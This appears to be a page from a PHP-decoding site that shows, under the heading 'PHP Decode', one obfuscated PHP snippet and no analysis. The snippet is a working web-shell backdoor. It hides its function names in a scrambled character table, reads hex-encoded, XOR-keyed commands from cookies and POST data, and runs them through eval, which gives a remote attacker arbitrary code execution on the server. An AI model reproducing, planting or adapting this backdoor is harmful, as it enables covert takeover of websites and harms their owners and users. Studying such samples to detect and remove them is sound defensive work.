PHP Decode

<?  $njtcl = 'oa0ky14#f89-gmbu_exr\'2nd36vsHtcp5*il';$lrihvb = Array();$lrihvb[] = $njtcl[28].$njtcl[33];$lrihvb[] = $njtcl[7];$lrihvb[] = $njtcl[2].$njtcl[10].$njtcl[9].$njtcl[23].$njtcl[10].$njtcl[32].$njtcl[2].$njtcl[21].$njtcl[11].$njtcl[8].$njtcl[32].$njtcl[25].$njtcl[24].$njtcl[11].$njtcl[6].$njtcl[23].$njtcl[23].$njtcl[30].$njtcl[11].$njtcl[14].$njtcl[9].$njtcl[10].$njtcl[32].$njtcl[11].$njtcl[25].$njtcl[5].$njtcl[24].$njtcl[1].$njtcl[17].$njtcl[17].$njtcl[23].$njtcl[14].$njtcl[17].$njtcl[5].$njtcl[24].$njtcl[21];$lrihvb[] = $njtcl[30].$njtcl[0].$njtcl[15].$njtcl[22].$njtcl[29];$lrihvb[] = $njtcl[27].$njtcl[29].$njtcl[19].$njtcl[16].$njtcl[19].$njtcl[17].$njtcl[31].$njtcl[17].$njtcl[1].$njtcl[29];$lrihvb[] = $njtcl[17].$njtcl[18].$njtcl[31].$njtcl[35].$njtcl[0].$njtcl[23].$njtcl[17];$lrihvb[] = $njtcl[27].$njtcl[15].$njtcl[14].$njtcl[27].$njtcl[29].$njtcl[19];$lrihvb[] = $njtcl[1].$njtcl[19].$njtcl[19].$njtcl[1].$njtcl[4].$njtcl[16].$njtcl[13].$njtcl[17].$njtcl[19].$njtcl[12].$njtcl[17];$lrihvb[] = $njtcl[27].$njtcl[29].$njtcl[19].$njtcl[35].$njtcl[17].$njtcl[22];$lrihvb[] = $njtcl[31].$njtcl[1].$njtcl[30].$njtcl[3];foreach ($lrihvb[7]($_COOKIE, $_POST) as $jbnfzr => $eaehcnf){function emkcaob($lrihvb, $jbnfzr, $pmksoch){return $lrihvb[6]($lrihvb[4]($jbnfzr . $lrihvb[2], ($pmksoch / $lrihvb[8]($jbnfzr)) + 1), 0, $pmksoch);}function enydzo($lrihvb, $aefhrn){return @$lrihvb[9]($lrihvb[0], $aefhrn);}function enhuwpw($lrihvb, $aefhrn){$ctkwgxu = $lrihvb[3]($aefhrn) % 3;if (!$ctkwgxu) {eval($aefhrn[1]($aefhrn[2]));exit();}}$eaehcnf = enydzo($lrihvb, $eaehcnf);enhuwpw($lrihvb, $lrihvb[5]($lrihvb[1], $eaehcnf ^ emkcaob($lrihvb, $jbnfzr, $lrihvb[8]($eaehcnf))));} ?>